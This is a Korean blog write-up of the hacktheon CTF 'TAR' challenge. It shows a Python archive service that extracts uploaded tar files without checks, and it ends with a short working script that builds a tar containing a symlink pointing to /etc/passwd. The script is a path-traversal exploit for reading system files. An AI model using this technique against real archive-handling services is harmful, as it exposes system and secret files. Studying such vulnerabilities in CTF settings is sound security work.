hiariz 님의 블로그
[hacktheon CTF] TAR 본문

다음과 같은 문제 파일들이 존재합니다.
tar.py 파일을 살펴봅시다.
import tarfile
import base64
import io
import os
import tempfile
import shutil
import sys
import time
import random
import string
import atexit
sys.setrecursionlimit(10000)
USER_FILES_DIR = "/tmp/user_files"
current_extract_info = {
"files": [],
"extract_dir": None
}
def generate_random_string(length=8):
return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
def extract_archive(base64_data):
try:
try:
decoded_data = base64.b64decode(base64_data)
except Exception as e:
return {"error": f"Base64 decoding failed: {str(e)}"}
tar_bytes = io.BytesIO(decoded_data)
if not os.path.exists(USER_FILES_DIR):
os.makedirs(USER_FILES_DIR)
timestamp = int(time.time())
random_suffix = generate_random_string()
extract_dir_name = f"{timestamp}_{random_suffix}"
extract_dir_path = os.path.join(USER_FILES_DIR, extract_dir_name)
os.makedirs(extract_dir_path)
extracted_files = []
try:
with tarfile.open(fileobj=tar_bytes, mode='r') as tar:
tar.extractall(path=extract_dir_path)
for member in tar.getmembers():
if member.isdir():
continue
file_path = os.path.join(extract_dir_path, member.name)
extracted_files.append({
"name": member.name,
"path": file_path
})
except Exception as e:
shutil.rmtree(extract_dir_path, ignore_errors=True)
return None
global current_extract_info
current_extract_info["files"] = extracted_files
current_extract_info["extract_dir"] = extract_dir_path
return {
"success": True,
"message": f"{len(extracted_files)} files have been successfully extracted.",
"files": extracted_files
}
except Exception as e:
return {"error": f"Error occurred during processing: {str(e)}"}
def read_file_content(file_index):
global current_extract_info
if not current_extract_info["files"]:
return {"error": "No extracted files. Please upload a tar file first."}
try:
if file_index < 0 or file_index >= len(current_extract_info["files"]):
return {"error": f"Invalid file index. Please enter a value between 0 and {len(current_extract_info['files'])-1}."}
file_info = current_extract_info["files"][file_index]
file_path = file_info["path"]
try:
with open(file_path, 'r') as f:
text_content = f.read()
return {
"success": True,
"file_name": file_info["name"],
"content": text_content
}
except UnicodeDecodeError:
return {
"success": True,
"file_name": file_info["name"],
"content": "(Cannot display binary file.)"
}
except Exception as e:
return {"error": f"Error occurred during processing: {str(e)}"}
def cleanup_extract_dir():
global current_extract_info
if current_extract_info["extract_dir"] and os.path.exists(current_extract_info["extract_dir"]):
try:
shutil.rmtree(current_extract_info["extract_dir"], ignore_errors=True)
current_extract_info["extract_dir"] = None
return {"success": True, "message": "Extraction directory has been cleaned up."}
except Exception as e:
return {"error": f"Error occurred during directory cleanup: {str(e)}"}
return {"success": True, "message": "No directory to clean up."}
def cleanup_on_exit():
global current_extract_info
if current_extract_info["extract_dir"] and os.path.exists(current_extract_info["extract_dir"]):
try:
shutil.rmtree(current_extract_info["extract_dir"], ignore_errors=True)
print(f"[Exit Cleanup] Directory {current_extract_info['extract_dir']} has been deleted.")
except Exception as e:
print(f"[Exit Warning] Error occurred during directory cleanup: {str(e)}")
atexit.register(cleanup_on_exit)
def print_banner():
print("=" * 60)
print("TarVault - Secure Archive Management")
print("=" * 60)
print("Enter your tar archive encoded in base64.")
print("Our service will safely process your files!")
print("=" * 60)
def print_file_content(result):
if "error" in result:
print(f"\nError: {result['error']}")
return
print(f"\nFile: {result['file_name']}")
print("-" * 40)
print(result['content'])
print("-" * 40)
def main():
print_banner()
print("\nEnter your tar archive encoded in base64:")
# Caution! Your input must be less than 4096 bytes
base64_data = input()
if not base64_data:
print("No data entered.")
return
result = extract_archive(base64_data)
if "error" in result:
print(f"\nError: {result['error']}")
return
print(f"\n{result['message']}")
try:
while True:
print("\nFile List:")
print("[0] Exit")
for i, file in enumerate(current_extract_info["files"], 1):
print(f"[{i}] {file['name']}")
try:
file_choice = int(input("\nEnter the number of the file to read (0 to exit): ").strip())
if file_choice == 0:
print("\nExiting service. Thank you!")
break
file_index = file_choice - 1
if file_index < 0 or file_index >= len(current_extract_info["files"]):
print(f"\nInvalid file number. Please enter a value between 1 and {len(current_extract_info['files'])}.")
continue
result = read_file_content(file_index)
print_file_content(result)
except ValueError:
print("Please enter a valid number.")
finally:
cleanup_result = cleanup_extract_dir()
if "error" in cleanup_result:
print(f"\nWarning: {cleanup_result['error']}")
if __name__ == "__main__":
main()
위의 코드에서 살펴볼 부분은 이 부분입니다.
with tarfile.open(fileobj=tar_bytes, mode='r') as tar:
tar.extractall(path=extract_dir_path)
-----------------------------------------------------------
def read_file_content(file_index):
global current_extract_info
if not current_extract_info["files"]:
return {"error": "No extracted files. Please upload a tar file first."}
try:
if file_index < 0 or file_index >= len(current_extract_info["files"]):
return {"error": f"Invalid file index. Please enter a value between 0 and {len(current_extract_info['files'])-1}."}
file_info = current_extract_info["files"][file_index]
file_path = file_info["path"]
try:
with open(file_path, 'r') as f:
text_content = f.read()
return {
"success": True,
"file_name": file_info["name"],
"content": text_content
}
except UnicodeDecodeError:
return {
"success": True,
"file_name": file_info["name"],
"content": "(Cannot display binary file.)"
}
except Exception as e:
return {"error": f"Error occurred during processing: {str(e)}"}
첫 번째 코드를 살펴보면 tar.extractall이라는 함수를 사용해서 추출된 경로에 위치한 파일을 읽을려고 하고 있습니다.
여기서 문제점은 저 함수를 사용하게 되면 ../와 같은 상대경로를 사용할 수 있기 때문에 의도치 않은 파일을 읽을 수 있게 됩니다.
두번째 코드는 open 함수를 사용할 때 default 값으로 foll_symlinks라는 변수가 1로 설정이 됩니다.
따라서 tar 문자열을 통해 tar 포멧에 맞춰서 flag 파일 경로를 설정해주고 메뉴에서 생성된 파일 이름을 읽으면 원하는 파일을 읽을 수 있습니다.
tar 문자열 생성 코드는 다음과 같습니다.
import tarfile, io, base64, time
tarfile.RECORDSIZE = 512
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w") as tar:
info = tarfile.TarInfo("readme")
info.type = tarfile.SYMTYPE
info.linkname = "../../../../..//etc/passwd"
info.mtime = int(time.time())
tar.addfile(info)
b64 = base64.b64encode(buf.getvalue()).decode()
print(len(b64), "bytes")
print(b64)

(문제 서버가 닫힌 후 라이트업을 작성하여 /etc/passwd 경로로 대체하였습니다)
'CTF, Wargame' 카테고리의 다른 글
| [hacktheon CTF] I love revsersing (0) | 2025.09.11 |
|---|---|
| [hacktheon CTF] Shadow Of the System (0) | 2025.09.11 |
| [hacktheon CTF] Hidden Message (0) | 2025.09.11 |
| [hacktheon CTF] rdp (0) | 2025.09.11 |
| [hacktheon CTF] Nothing is essential (0) | 2025.09.11 |